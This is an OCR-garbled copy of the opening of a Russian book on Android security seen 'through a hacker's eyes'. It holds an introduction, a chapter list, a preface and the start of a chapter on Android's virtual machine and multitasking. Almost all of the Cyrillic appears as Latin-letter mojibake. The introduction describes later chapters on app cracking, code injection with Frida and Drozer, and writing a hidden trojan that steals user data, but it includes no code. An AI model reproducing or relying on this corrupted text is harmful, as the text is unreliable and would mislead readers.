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BeseaeHue

3a nocnennue 15 netr cMaptdoHsl npounty 6onbwoi nyTh. M3 urpyek is rukoB 4 HH-
CTPYMEHTOB 111 6M3HEca OHH MPEBPAaTHJIHCh B M0-HACTOAILIEMY MAacCOBBIH MPOLYKT, KO-
TOPBIH JIEXXHUT B KapMaHe OyKBaJIbHO Ka)XKIOT0 >KHTeNA pa3BUTOH cTpaHbl. CeroaHAHHMA
cMapT(OH — 3TO Yyke He KapMaHHBbIH KOMITbIOTEpP, a CKopee LMPOBOH OTNEYaTOK €ro
none3oBatens. CMapTdoH XpaHHT Maccy NMpPHUBATHBIX JAHHBIX, BKJIOYas JHYHbIE $OTO-
rpaduu, Naposid U TOKEeHBI 11 A0CTyna k 6aHKOBCKOMY CUETY.

Poct nonmynspHocTH cMapTOHOB BBIHYAWI KOMMAHHH Pa3pabOTYHKOB ONEpPaLHiOHHBIX
CHCTEM NMPHHHUMATh CPOYHbIE MEPHI AJIA 3aIUUThHI MOJIb30BATENBCKHX AaHHBIX. JTa KHHUIa
HauuHaercs ¢ BBeneHHs B yctpoiictBo OC Android, nanee pacckaspiBaeT 006 HCTOpHH
Pa3sBUTHA CpelCTB obecrieueHHs 6€30MacHOCTH ¢ MepBoii BepcHH U 10 Android 14.

BTropas yacTh KHHI'H LIEJTHKOM MOCBAILIEHA TEXHHKaM B3JIOMa U peBEPC-WHKUHHPHHTA
npuioxeHHii. Ha npuMepe B3jioMa HECKOJIBKHX peajibHBIX MpHoxeHHH U3 Google Play
A MoKaXcy, kak yctpoeHsl ¢aitnel APK H3HyTpH, pacckaxy, YTO Takoe JEKOMITHIIATOPHI H
au3acceMOiiepbl, MOLIAroBO NMPOAEMOHCTPUPYIO, KaK MPOUCXOAUT B3JIOM TPHIIOXKEHHS,
KaK BHEIPHTH B Hy>KYIO MporpaMMy CBOH KO M pacmyTaTh KJIy6ok Koja, MponmyLeHHOro
yepe3 obO¢dyckarop. OTaenbHO pacckaxy, Kak HCMONb30BaTh HHCTpyMeHThl Frida u
Drozer ans u3Be4eHHs JaHHBIX U3 YY>KHX MPUIOXKEHHH U U3MEHEHHS HX TIOBEAECHHS.

3akIouMTeNbHas 4acTh KHHTH MOCBsALIEHA OAHOH M3 riaBHbIX npobiem Android kak
maTopMbl — BpeIOHOCHBIM MporpaMmaM. Jro caMas oObeMHas YacTh KHHMIH, 3aTpa-
ruBamowas 6ykBaJlbHO KaXKIblii acleKT H3yueHHs W pa3paboTKH 3/70BpeIHBIX MPHIIOKE-
HUH. B 3TO# yacTH 1 pacckaxky 06 HCTOpHH MOOHIIBHBIX BHPYCOB, HCIOJB3YeMbIX HMH
YA3BHMOCTAX H METOJaX MacCKHPOBKH. A 4TOOBI HE OBITH rOJIOCIIOBHBIM, i MPOJEMOHCT-
pHpYIO, KaK C HyJi1 CO3[aTh CBOH COOCTBEHHBIH TpOSAH, YMEKOLHI coOHpaTh NaHHbIE
N0JIb30BaTEJA, COBEPILATH 3BOHKH, €JIaTh CHUMKH, OCTaBasCh MPH 3TOM CKPBITBIM.

Cpazy oTMeuy, YTO 3a HCKJIFOYEHHEM HECKOJIBKHX TEM 3Ta KHHIa HE paccKa3bIBaeT O MeH-
TecTe B YCTOSABIIEMCS CErOfHsA CMBIC/IE, KOraa B3JIOMIUHMK HILET CocoObl H3B/EYb NaH-
Hble M3 NMPWJIOKEHHS HWIHM 3aCTaB/ISET €ro BHIMOJHHTh Hy>KHblE NEHCTBHA B OOBIUHBIX
YCIOBHAX, He MOIHGHLUHMPYS OpPHTHHAIBHBIA Kox mpuioxeHHs. KpaTtko 06 3ToM MoXxHO
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MPOYMTATH B IJ1aBax, MOCBALIEHHBIX HHCTpyMeHTaM Drozer u Frida, Ho B Liesiom KHHra He
00 3TOM. :

Yro sbI HaMAETe B 3TOU KHUre?

O I'aaBa 1 pacckasbiBaeT 0 BHyTpeHHeM ycTpokctBe OC Android U TexHOmorusx, ko-
TOpBIE JIEXKAT B €€ OCHOBE.

O B raaBe 2 nonpo6Ho paccMmartpuBaeTcs npouecc 3arpy3kd Android, onucaHbl pazae-
Jibl, B KOTOPBIX XpaHATCS Heobxoaumele s pabotet OC naHHblE H paccka3aHo 00 HX
npexHa3HaYeHHH.

a

I'1aBa 3 NoMHOCTBIO NOCBSALLEHa MeXaHU3MY 0OHOBNeHHs Android.

Q

B raaBe 4 onucaHel MexaHu3Mbl 3amiutel OC Android, TakMe kak NpPHBHJIETHH,
orpaHu4eHus, KU poBaHHe NaAHHBIX, JOBEPEHHAs 3arpy3ka H cpelia BbINOJHEHHS H T. 1.

O I'aaBa S paccka3biBaeT 00 aqbTepHATHBHBIX NMPOIIWBKAX MOOHIBHBIX YCTPOHCTB, py-
THHI€ ¥ KaCTOMH3aLIHH.

O B riaBe 6 pacKpbIThl OCHOBHbIE METOAMKH HCCIIEIOBAHHS M B3JIOMA MPHJIOKEHHH 11s
OC Android.

O I'nraBa 7 paccka3blBaeT O XaKEPCKHX MpHEMax, MO3BOJIAIOLIMX BHEIPUTb COOCTBEH-
HbIi KOI B 4y>KO€ MPHIOKEHHE, U NEMOHCTPHPYET NMPHUMEHEHHE 3THX MPHEMOB Ha
NPOCTOM NpUMeEpE.

O B runaBe 8 pacckasbiBaeTcst 0 TOM, Kak pacnyTaTb 06¢yCLUHpOBaHHbIH KOI H KaKHMH
NOJIE3HBIMH HHCTPYMEHTAMH [UT 3TOrO MOXCHO BOCIMOJIb30BAThCS.

O I'naBa 9 MOBECTBYET O TEXHOJIOCHH B3JIOMa MOOMJIBHBIX ﬂpl/lJ'IO)KeHHﬁ C NMOMOLIBIO
OoTJIaA4YHKa.

0O I'aaBa 10 MONMHOCTBHIO MOCBALIEHA MPHUHUMNAM paboThl ¢ HAGOPOM HHCTPYMEHTOB
Frida, mo3BonsioWIUM BHEAPATb COOCTBEHHBIH KO B CTOPOHHHE MPHJIOXKEHHS
Android.

0O I'aaBa 11 packpbIBaeT cekpeTbl Hcnonb3oBaHUs Drozer W apyrux mnonesHbIX Xakep-
CKHX HHCTPYMEHTOB.

O B ranaBe 12 paccka3sbiBaeTcss 00 HCTOPUH Pa3sBUTHS BPeJOHOCHBIX mporpamm mis OC
Android.

0O I'maBa 13 onuchiBaeT yCTPOHCTBO U NPHHLHIBI pabOThl COBPEMEHHBIX BPEIOHOCHBIX
nporpamm 1y Mo6unbsHo#H matdopmel Android.

0O I'a1aBa 14 NpUBHOCHUT B TEOPHIO NIEMEHT MPAKTHKH: YUTATEIO NpEANaraeTcs caMoMy
HanucaTb TECTOBYIO MPOrpaMMy C «BpeIOHOCHBIMHY pyHKUMAMH ang Android u noa-
pobOHO pacckasbIBaeTcsl, Kak 3TO CeNaTh.

O B raase 15 yurarens y3HaeT, Kak MCMOJIb30BaTh HEKOTOPbIE CTaHAAPTHbIE BO3MOX-
HOCTH ornepauHoHHOH cucTeMbl Android, yToObI MOMYYHTH MpaBa root M ynpaeisTh
NPHUBHIETHAMH.
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O 3akawouHTenbHad riaaBa 16 paccka3blBaeT 0 TOM, Kak 3anyTaTh COOCTBEHHBIH KOO H
3alMTHTH BalllK MPOrpaMMBbl OT OTJIAAKH M AEKOMIHIIALIMH.

Jlornyecku Bech MaTepHasl KHUIH pa3fiefieH Ha TPH pa3zena, KaxKIblii U3 KOTOPbIX MOXKHO
YUTaTh MO OTAENBHOCTH, YTOOBI MOTYUYHTh NMPEACTaBIEHHE O cooTBeTCTBYIoLIeH TeMe. Ho
1 TEM He MeHee PEeKOMEHIYIO BaM O3HAKOMMTBCS CO BCEH KHHIOM Mocie1oBaTeNnbHO —
3TO MO3BOJIUT YHUTATENO OoJiee MoJIHO U3yuuTh niardopMmy Android Tak, kak OHa BbITJIS-
IMT ra3aMH Xakepa.

Ona koro 3ta kHura?

B Gonbuiei creneHH KHUra opUueHTUpoBaHa Ha pazpabortuukoB [1O U Tex, KTO UHTEpECY-
eTcs yctpoicTBoM Android. 3To He y4eOHMK MO B3JIOMY W CO3JaHHIO BUpPYCOB. Bes npwu-
BeleHHas B KHUre WHQopMauMs npefHa3HayeHa B NMEpBYIO ouepeb A TeX, KTO XOTell
Obl MOHATH CMOCOObI 3aLUMTHI CBOWX MPHUIOKEHHH M JaHHBIX, @ TAKXKEe 3aLUMUTHTh WX OT
HECaHKLIMOHUPOBAHHOH AEKOMMHISLIMM, OTNAAKH M HccleloBaHUA. UurTaTens M3yuyuT
CTpyKTYpy MexaHu3moB 6ezonacHocth OC Android, HayuuTcs 3alMIIaTh COOCTBEHHbIE
NPUJIOXKEHHS OT B3JIOMA, U3YYHUT NMPHEMbl BHEAPEHHs B npuioxeHus Android BpemoHoc-
Horo [10 u 3aumMThl OT NOAOOHBIX ABJIEHHI, CMIOCOOBI 3alMThI KPpUTHUYECKOH HHDOpMa-
LMH OT XHILEHHS.

BHUMAHME!

Bca wHopmauus B 3TOW KHUre npefocTaBneHa WUCKNIYUMTENbHO B O3HAKOMUTENbHbIX
uensax. ABTOp U pefakums He HeCyT OTBETCTBEHHOCTM 3a nioboi BO3MOXHbLIN Bpea, Npuyn-
HEHHbIA C NCNONb30BaHWEM CBEAEHWUIA N3 3TOW KHUTW.

TIpeaucnosue KO BTOpOMYy U3AAHUIO

C MoMeHTa BbIXO/a B CBET NMepBoi KHUTH «Android rnazamu xakepa» B chepe UHGPOBBIX
TEXHOJIOTHI MPOM30LITH HekoTopble u3MeHeHHs. Kopnopauus Google aHoHcupoBana
14-10 Bepcuto cBoedd MoOMIbHOH mnnardopmel Android, MOSBMUIMCH HOBBIE MOIENH
cMapT¢OHOB, @ HEKOTOPBIE MPHUIIOKEHHS MO Pa3THYHBIM MPUYHHAM NepecTaiy ObITh JOC-
TYNHbI A7 nonbs3oBateneil u3 Poccun. PazpaboTurku perynspHO BbImyckaad OOHOBIie-
HHS MPOrpaMMHOro obecneyeHus, U Ha 3ToM (OHe BOSHHKIIH HOBbIE TEHAEHLIMH B obJiac-
TH 6€30MacHOCTH, YTO clieNano HeoOX0AUMbIM OOHOBIEHHE HACTOALLEH KHHUTH.

Llene BTOpOro u3aaHus — OXBAaTHTh BCE aKTyallbHble H3MEHEHHs B chepe 6e30MmacHOCTH
onepauHoHHOH cucteMbl Android. Ota nnardopMa HenmpepblBHO 3BOJIIOUHMOHHPYET,
M peryJsipHble OOHOBJIEHHS COTMPOBOXKAAIOTCS MOSIBIEHHEM psila HOBBIX GYHKLHi U yco-
BEpLUEHCTBOBAHHI CHCTEMBbl (€30MacHOCTH, KOTOpble Mbl PAacCCMOTPHM B HACTOSLLEM
u3naHuu. KpoMe Toro, Mbl pacckakeM O HOBBIX yrpo3ax, yS3BHUMOCTSAX W TEHAEHLHUAX
B 061acTH 6€30NMacHOCTH, MOSIBUBLIMXCS C MOMEHTA BbIXO/1a EPBOrO W3aHHS.

Mbl NMOHHUMAEM, 4YTO 3aaqyH, CTOALIHNUE NEpPEN CrIEUHAJIMCTAMH M0 3alUUTE JaHHBbIX, HENMpPE-
PBIBHO YCJIOX)KHAKOTCA, NMO3TOMY Mbl TNPHIIOXKHUIIH BCE YCHIIHA, 4yTOOBI BTOPOE€ H3OAaHHE
KHHUIH cTajio OoJiee MONHBIM H HOﬂpOGHbIM, YEM MNEPBOEC. Mbel YBEPEHBI, YHTO KHHUTIa OCTa-
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HeTCA LIEHHBIM PECcypcoM UIs McciienoBaTtesied H npogeccHoHanoB B 061acTH MOGHIIb-
HO# 6e3omacHOCTH. MBI HCKpEHHE HalieeMcCH, YTO 3TO OOHOBJIEHHOE H3aaHHue Oyner cno-
cOOCTBOBATH JIyYllleMy MOHHMaHHIO apXMTEKTYpHI onepauMoHHO#H cucteMsl Android u
COBpEMEHHBIX MOOHJIbHBIX YCTPOMCTB.

Hakonen, Mpl xoTenu Obl mo6sarofapuTh HalMX YHTaTeNeH 32 MX MOCTOAHHYIO MOA-
JEPXKKY W OT3bIBBI, KOTOpbIE MOMOTJIH HaM YJyYIUMTh KauY€CTBO M aKTyalbHOCTb ITOH
KHHTH. MBI IpHUBETCTBYEM JIIOObIE NMPETIOKEHHA H KOMMEHTAapHH, KOTOopble 6yayT 061-
3aTeJIbHO YUYTEHBI B OCJIEAYIOLIHX H3AaHHAX.

YcnoeHeie 06o3HaueHus

B KHHMre NpHHAT pAA YCIOBHBIX 0003Ha4e€HHH, MPH3BaHHBIX OOJIEMYHTh YHTATENIO H3yYe-
HHe MaTepHana. MOHOWMPHHHBIH WPHQT command HAEHTHGHLUHMPYET BBOAMMBIE MOJB30-
BaTesieM KOMaH[Ibl, HMeHa (paiiyioB, KaTaIOroB WIH yNpaBisiolxe CHMBONbL. Kypcue uc-
NONB3yeTCA IS BbIAENEHHS NMOHATHH M TEPMHHOB, a MOMYKHPHbIE WpPHPT BeIAENIET
Kmoyessle cioBa, aapeca URL u anemeHThl HHTepdetica. HekoTophlie mone3Hsle cBene-
HHA, HE OTHOCALIMECA HAMpPAMYIO K PacCMaTpHBaeMOMY B TEKCT€ BOMPOCY, HO CMOCO0-
HbI€ MPEACTABNATh ONpeAeICHHbIH HHTEPEC IS YHTATENA, BHIHECEHBI B IPHMEYaHHS.

TTpunoxexue AnTrack

MHorue U3 NpUBEJEHHBIX B KHHIe NMPHMEPOB KOJA peai30BaHbl B MOEM INPHIIOKEHHH
AnTrack (https:/github.com/zobnin/antrack). 310 MHHMMaJHCTHYHOE MOXYJIbHOE
NPHIIOXKEHHE V1A OTCJIEXKMBAHHUA MECTOMNONOXKEHHSA YCTPOHCTBA, €ro COCTOAHHMA, a TaKXKe
ynpasnenus uM. Kon pacnpoctpanserca non nuuensued GPL 3.0, Tak 4ro Bel MOXeTte
cBOOOHO €ro HCcCIen0BaTh H HCIMONB30BATh B CBOMX OTKPBITHIX MPOEKTaX.
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TTatb ctonnos Android.
TexHonorum, nexauwme B OCHOBe
camou nonynsapHou OC

CyuiecTByeT kak MUHMMYM NATh TEXHOJIOTHH, KoTopble aenatoT Android MMeHHO TeM,
4YeM Mbl MPHUBBIKIM €ro BUAETh: BUPTyaibHas MalllMHA, CHCTEMa MHOr03aa4yHOCTH, cep-
Buckl Google, IPC-Mexanu3m Binder u sapo Linux. Kaxnas u3 3tux noacucrem umeer
CBOIO HCTOPHIO Pa3BHUTHs, CBOM NPHUHHBI NMOSBIEHUS U HazenseT Android dupMeHHBIMH
yepTtaMH. Mbl B NOAPOOGHOCTAX MOFOBOPHM O KaXI0H U3 HHX.

BupTtyansHas mawwuHa

[IpunsaTo cumtate, 4to B ocHoBe Android nexur Java. Ha camom pgene Bce HaMHOro
cnoxHee. Java (a Tenepp u Kotlin) — 310 neiictButensHo oduuuanbHblii a3eik Android.
Ho Java — 3T0 He TONBKO A3bIK, HO U Cpeia HCTIOJTHEHHUA.

B cnydae HacTonbHOH Java, pazpaboTaHHO# koMmnaHuer Sun (Teneps yxe Oracle), npu-
JIOXKEHHS KOMITMJIMPYIOTCS B NMPOMEXYTOYHBbIH OaiT-koA, KOTOpBIA 3aT€M HCMOJIHAET
BHpTyabHas MallMHa. PaHHHe BEpCHH BHPTYaJlbHOH MalLMHBI J€J1ajiH 3TO MyTEM HHTEp-
nperauuy: BM uurtana 6aiiT-koa, aHalW3UpoBaa 3a1icaHHble B HEM HHCTPYKLIMH U UC-
MOJIHSAJIAa UX. JTO MEAJIEHHbIH METO HCMIOJTHEHHUS (Ha KaXKIylo MHCTpykuuio BM morau
YXOIMTh JECATKH U COTHH MALUMHHBIX MHCTPYKLHIi), MO3TOMY MO3/HEE MOSABHJICA TaK
Ha3biBaeMblit JIT-koMnunsaTop (Just In Time compiler). C ero nomMouipto BUpTyanbHas
MalllMHa MOTJIa Ha JIETY KOHBEpPTHPOBaTh OaHT-k0 B MalUIMHHBIE HHCTPYKLIMH, YTO CyLIe-
CTBEHHO MOJHSJIO CKOPOCTb €ro MCIMOJHEHHS, HO MOBBICHJIO pacXoj ONepaTUBHOM nams-
TH: B MaMATH Ternepb HEOOXOIUMO XPaHUTh He TOJBKO OaHT-KOJ, HO M MOJyYEeHHbIE U3
HEro MallMHHbIE MHCTPYKLIMH, TUTIOC METaJaHHbIE, MO3BOJISIOILME BBINOIHATh ONTHMH-
3al1H.

Kpome Toro, npu pa3pabotke BHUpTyaabHOH MalMHBI Java MHXEHEpbl Sun peliuiy uc-
MOJIb30BaTh CTEKOBBIM IM3ailH BUPTYyaJlbHOH MallMHBl KaK CaMblid MPOCTOH W YHHBEp-
canbHbIi. Ho cyuiecTByeT Takke perMcTpoBbId au3aifH, 6oee 3¢ deKTHBHBIH B CKOPOCTH
UcrosiHeHHUs O6alT-koaa U nNoTpedaeHHUs onepaTHBHOM NaMATH.
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HIMEeHHO Takas perMcTpoBasi BUpPTyanbHas MalinHa (rmoa HazBaHueM Dalvik) ucnons3oBa-
nace B nepBbix Bepcusax Android. Bnarogapa orcyrctBuio JIT-koMnunsTopa oHa Obuia
oueHb HeTpeboBaTeNbHON K OMEpaTHBHOW MaMATH, 2 PErMCTPOBBIA OW3aiH MO3BOJIAT MC-
MOMHATH MPUJIOXKEHHA NOCTaTOYHO OBICTPO AaXe B pexxHUMe HHTeprpeTauuu (puc. 1.1).

WcxopHbie kopb! -
HalJava
(fava)
Komnunatop Java KomnunaTop Java
(javac) (javac)

Komnunatop DEX
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1

Stack-based Register-based

BupTyanbHan

VETIE]
Java (JVM) VM u DVM

Puc. 1.1. Cpeaa pa3spaborku Android komnunupyer koa Java B 6aiT-koa JVM,
HO 3aTem koHBepTupyeT ero B 6aur-koa Dalvik

Dalvik (DVIvi}

K Beixomy Android 2.2 Google Bce-taku peanusosan JIT-komnunsaTop, a B Android 5.0
nowen ewe aanbie 1 3aMeHun Dalvik Ha AOT-komnunsarop (Ahead Of Time Compiler)
noa HazeaHHeM ART. B TeopHH TakoW KOMIHIATOP MO3BOJAET H30aBHTBCA OT BHPTY-
aNbHOH MAaIlMHBI KaK CYIHOCTH W MEPEBOANTD MPHJIOKEHHE B MALIMHHBIE HHCTPYKLIMH
elle Ha 3Tare ero ycraHoBkH. Ha nene xe nomydanoch Tak, 4TO HE BeCb 6aHT-KOI MOXKHO
6bLIO OIHMM MaxOM CKOHBEPTHPOBaTh B MHCTPYKLHH IPOLECCOpa M Pe3yIbTHPYIOLIMH
KOI MOTI COIEep)XaTh Kak MallHHHBIE MHCTPYKLMH, Tak H 6aiitT-kox craporo mobporo
Dalvik. Y co Bceti 3T0it MelIaHHHOI npoaokana pa3dupaTbcs BUPTyalbHasA MaLIHHA.

AOT-xomnunaTop Takxke npourpsiBan JIT-kOMIUIATOPY B HEKOTOPHIX BO3MOXXHOCTAX
ONTHMH3ALMH MAIIMHHOIO Koma. Y Hero mpocto He GBUIO OOCTaTOYHO HHGpOpPMaLHMH
O MOBENECHHH MNPHJIOXKEHHA H OCOOEHHOCTAX €ro paboThl; €€ MOXHO ObUIO MOMYYHTD,
TONBKO 3aIyCTHB MpPHJIOKEHHE. Ellle 3TOT KOMIUIATOP CYLIECTBEHHO 3aMELIA Y CTAHOB-
KY NPHIJIOXKEHHUH H MEPBLIH 3ayCK ONEpaLMOHHON CHCTEMBI.

Yro6b1 3TO McnpaBuTh, HHXeHepbl Google coznanu rubpunHsiit JIT/AOT-komnunsaTop,
KoTophI# cTtan yacteio Android 7. Cpa3dy nocne yCTaHOBKH MPHIOXKEHHA OH HCIOJIb3YET
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JIT-xoMnunsLHIO, HO BO BpeMs paboThl OT 3apsAAKH cMapT(OH MeperoHseT NMpHIoKeHHE
B MalLUMHHBIE HHCTPYKLHMH ¢ noMouibio AOT-koMnunsaTopa, KOTOpbIH MOXKET YHYHUTHIBATh
HUH(}OpMaLIHIO, HAKOMJIEHHYIO B MPOLIECCE HCTTOTHEHHUS MPHIIOKEHHS.

A Ttenepsb Bompoc: 3a4eM Google HyxHbI ObLTH BCE 3TH 3aMOpPOYKH € Java U BHpTyanb-
HbIMH MalllHHaMH, KOra MOXHO ObLI0 MOHTH Mo myTH Apple U Hcronp30BaTh OOBIYHBIH,
KOMITHJIMPYEMBIH B MallMHHbIE WHCTPYKLMH A3bIK, KOTOPbIH He cTpajaeT oT mpobieM
C JKOpPOM OMEPATUBKH H MPOH3BOAUTEIBHOCTH?

OTBeTOB Ha 3TOT BOMPOC Kak MUHUMYM TPH:

1. IHopmabenvrocmwb. Cnoran Java «Hanucano ogHax sl — paboTaet Be3ge» He NpoCTo
MapKETHHIOBBbIH JIO3yHr, a YkcTas npasjaa. Tl MOXeLIb ckayaTh J000e koraa-nmudo
HanmMcaHHOE Ha Java npHIOXEeHHe W 3aMyCTHTh €ro Ha JIl00OH MOMHOLEHHOH BHPTY-
aNbHOH MaluMHe Java He3aBUCHMO OT OMEpalMOHHOH CHCTEMbI, apXMTEKTYpbl Mpo-
ueccopa ¥ ¢asbl ayHsl. OHO npocTo paboTaer (#a, B HEKOTOPBIX Cly4asX MpUAETCS
MCIONb30BaTh KOHKPETHYIO BEPCHIO BHPTYaJbHOH MalMHBI, HO (akT ocTaercs ¢ak-
TOM).

TeMm >xe mpuHUMNOM pyKOBOACTBOBaldHCh pa3paborunku Android. HeBakHo, kakoi
npoLeccop HCMoib3yeTcs B cMapTdoHe; HeBaXKHO, cMapTGOH 3TO WM TeNEeBH30P.
[punoxenue, HanucanHoe a1 Android, 6yaer paborars 6e3 nepeKOMNUIALIUN U MO-
mudukanuu (ecii, KOHEYHO, OHO HE MCIMOMB3yeT MalluHHbIA koa Ha C/C++).

Ewe oauH mmoc: pa3paboTyuKy HeT HEOOXOOMUMOCTH 3aqyMBIBaThC O MOIJEPIKKE
6onee 3¢ hexTHBHBIX MHCTPYKLIMH, MOSABHUBIIHUXCSA B HOBBIX MPOLIECCOPAX, 32 HETO 3TO
caenaet JIT/AOT-koMnunsTop.

2. Haoexcrnocmye. Java — 3TO BBICOKOYPOBHEBBIH A3bIK CO COOpLUMKOM Mycopa, He Mo-
3BOJIAIOLLMH aipecoBaTh MaMATh HaNpsAMYIO U He TpeOyIoHi CaMOCTOATENIBHOIO OC-
BOOOXKAEHHS BBIAETIEHHOH MaMATH. OTO 3HAYMT, YTO MHOTHE THIMBI aTaK, BKJIKOYas
buffer overflow u use after free, npoTuB npunoxeHui Ha Java He MOryT OBITH OCylLE-
CTB/EHbI B NMpHHUMMNE. B kpaiiHeM ciydae BHpTyanbHas MallMHa MPOCTO OCTAHOBHMT
npuiaoxeHue (Kak 3TO HEpeIKO MPOMCXOAHUT B Clyyae BbIXOJA 3a MPaHHLIbI MacCHBa,
HanpuMep).

HUmeHHO moaTtomy B Android HaxomsT MeHblIe ys3BUMOCTe#H, yeM B iOS, LelukoM u
MOJMHOCTBIO HanmucaHHOW Ha Hebe3omacHbiX s3bikax C, C++ u Objective-C. U 3t0
OJlHa U3 MPHU4HH, noyemy Apple noHagobuncs a3vik Swift.

3. Java — oauH U3 caMbIX NOMYJAPHBIX S3bIKOB B MHPE, MO3TOMY y Pa3paboTYMKOB AJs
Android u3Ha4aneHO ObLT ZOCTYN K OrPOMHOMY KoNH4ecTBY Java-OUONIHOTEK U CHHUII-
MeTOoB KO/ia, KOTOPbIE MOXKHO 3aeHCTBOBATh B MPHUJIOKEHHH.

Xora ceriuac Habupaet obopotsl s3bik Kotlin, oH monHocTeio coBMecTHM ¢ Java Ha
ypoBHe 6aiT-koza U CyLecTBYIOLMX OHOIHOTEK. A 3TO 3HAYMT, YTO M1 €ro MOAAEPKKH
Ha cropoHe OC He Hy>HO Aenats HH4ero. [IpunoxeHus npocto paboTalor.
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MHoroszaga4yHocTb

Te, ko ucnonw3ytot iPhone naBHo, 3HatOT, kak paboTanu paHHHe BepcuH 10S. DakTHye-
ckH 370 6bUTa oHO3anauHas OC, kotopas no3sosisia paborath B GoHe WK NpepbiBaTh
paboTy Tekyliero MpUIOKEHHs TOJILKO NMPelyCTaHOBIEHHbIM MPHIOKEHHAM: MOJb30Ba-
TeJb YUTAET KHHTY, MPOMCXOAMT 3BOHOK, B 3TO BPEMS NPHJIOKEHHE AN YTEHHS KHHUT
CBOpayMBaeTCs — M Ha 3KpaHe MOAB/ISETCS OKHO 3BOHKAa. A BOT oOpaTHas onepauus He-
BO3MO)XKHA: NPWJIOKEHHE [T YTEHHs HE TOJIBKO HE MOXET NpepBaTh paboTy ApPYrHUX MpH-
JIOKeHHH, HO 1 OyneT youTo cpa3y nocje cBOpayHBaHHA.

CMbICJT CyLIeCTBOBAHHS TaKOH CHCTEMbI, KOHEYHO e, B TOM, YTOObl COKOHOMHTH pecyp-
Cbl Mpoleccopa, OrnepaTHBHOHW NMaMsATH, a Takke pecypc Oatapeu. bnaromaps Takomy
noaxony (Ho He Tosnbko) iPhone Mor pabortate GbICTPO B YCIOBHAX OrpaHHYEHHBIX pe-
CYPCOB M OueHb OepexXHO OTHOCHJICS K 3apsy aKKyMyJisTopa.

Android u3HavanbHO 6bUT yCTPOEH HHaye. 31eCh MOXKHO 3aMyCTHTb MHOXKECTBO pa3jiny-
HbIX MPHJIOKEHHH, U Bce OHM OyayT OcTaBaTbCs B MaMATH M cMOryT paboTaTh B pOHOBOM
pexume. [lonb3oBarenb oTkpbiBaeT Opay3ep, BBOAMT ajpec H, MOKa 3arpyxaercs cTpa-
HHLA, 3aMmycKaeT MOYTOBbIA KJIMEHT U YWTaeT nucbma. Bece kak Ha aeckTone, ¢ TeM Hc-
K/TIOYEHHEM, YTO HE HYXHO 3a00THUTBCA O 3aKpPBbITHH MPHUIOKEHHH, CHCTEMA CeaeT 3TO
caMa, koraa cBoboHas onepaTHBHas MaMsATh MOJOHAET K KOHLY WM €e HEe XBaTHT [Uis
pa3MeLleHHs ApYyroro npuioxeHus (camo coboil B mepByto ouepeab B pacxod MOHayT
peaKo HCrojb3yeMble MPHIOKEHHWS). DTOT MexaHW3M HasbiBaeTcs lowmemorykiller
(puc. 1.2).

BakHbIif 371€eMEHT CHCTEMbI MHOT03aa4HOCTH — ci1yObl (services). 3To ocobble KOM-
MOHEHTHI NPHJIOKEHHH, KoTOopble B paHHHX Bepcusax Android mornu pabotath B ¢oHe
npH abCOMOTHO JIIOOBIX YCIOBHAX: BKJIIOYEH IKPaH WIH BbIKIIIOUEH, CBEPHYTO MPHJIOKeE-
HHE WM pa3BepHYTO, clyk6am Obllo MieBaTh JaXke Ha TO, 3aMyLIEHO JIH POAHTENILCKOE
npuioxeHue Boodbwe. Ciyx6a npocto roopuna: «Jii, Android, MHe Hy>KHBI pecypchbl
npoueccopa, s Xouy c/elaTb HEKOTOpblE pacdeTbl» — M MoJlydana Hy»KHble pecypchl.
B tepmuHonoruu Android Takoit 3anpoc k cucteMe Ha3sbiBaeTcs wakelock (TouHee, ero
KOHKpETHasi pa3HOBHIHOCTb — npoueccopHblii wakelock).

Co BpemMeHeM moaaep)kKka Takoro MOLIHOTO MHCTPyMEHTa Hawana cosgaBatb Google
npo6aemsl. [TosBUIOCHE OFPOMHOE KOJTHYECTBO MPHII0KEHHH, KOTOPbIE MJIOIHIIH CTYXKObI
Ha KaX[bli YHUX, MOCTOSHHO BbIMOJIHAIH paboTy M He naBaid cMapTdOHY craTh. YCTaHo-
BMB Ha cMapTOH COTHIO MPHWJIOXKEHHH, MOJb30BaTeNb MOJyYad HECKOJbKO AECATKOB
ciyx0, Kaxcias U3 KOTOPbIX MEPHOJHYECKH YTO-TO Aenana (THMHYHBIA npuMep: 0OHOB-
JIeHHe JIeHTbl « TBUTTEpa» WM cOOOLIEHHI B MECCEHKEDE).

Cutyauus 6bUTa HACTOJNBKO MJIAYEBHOM, YTO KUTaHCKHE MPOM3BOAMTENH, BbIHYX/IEHHbIE
JeACTBOBATh B YCJIOBHAX COCYLIECTBOBAHHSA C JECATKAMH Pa3/IMUHbIX Mara3uiHOB MpPHIIO-
»KeHHit camoro pa3Horo kadectBa (Google Play B Kurtae HeT), mpocTo OTK/IOUKIH B CBO-
MX cMapThOHaX MEXaHH3Mbl MOAAEPIKAHHUS KU3HEHHOTO LMKIA CIYKO U1 HECHCTEMHBIX
NPUJIOKEHH.

[MpoaBuHyTbIE MOAB30BATENH IUIK APYTHM MyTEM — MOJy4Yald MpaBa root U ycTaHaB-
nuBanu npunoxernue Greenify (https:/play.google.com/store/apps/details?id=com.
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oasisfeng.greenify), koTopoe Mo3BoJifAN0 3aMOPO3UTH CYXkObI BBIOpaHHBIX MPHIIOKEHHI
Tak, YToObl HX yXe HHUKTO He cMor pa3dyauts. CyuliecTBoBanM M Gonee paaukaibHble
BapHaHTbl, HalpUMEpP CHECTH BeCh CO(T, KOTOPHIM TMOJB3YELIbCA PEXE OOHOro pasa
B CYTKH.

B ®4 DSa%1655

anr:g%y Apply at boot

Minfree Manager

ittt

Foreground Application 8

Visible Application 12
Secondary Server 16
Hidden Application 24
Content Provider 28

Empty Application Ky

Presets Apply

@ RBM TU[]iBDx The All-in-One Root App!
4 [ ] |

Puc. 1.2. Umes npasa root, HacTpowkn lowmemorykiller MOXHO perynupoBaTe Hanpsimyio
MW C NOMOLLbIO CNeUUanbHbIX NPUNOXKEHWUA

Cama Google Taxke npeanpuHUMaia onpeneieHHble AeicTBUA Wi 60peOBI C «ATOBH-
TBIMM)» ClTy)kOamu. Bonbluo# war B 3TomM HanpasiieHHMH O6bu1 caenad B Android 4.4, roe
MOABWIICA HHTEJUIEKTyalbHbIH MeXaHM3M, CMOCOOHBIN onpenenaTb, He paboraeT jau
ciyx6a CIMIIKOM JOJro W He CO3JaeT JIM upe3MepHOi Harpy3ku Ha mpoueccop. Ecnu
oTBeT ObL1 yTBepAMTENBbHBIM, cHCTEMa mpubMBana ciayx0y M He mo3BoisAna ei 3amyc-
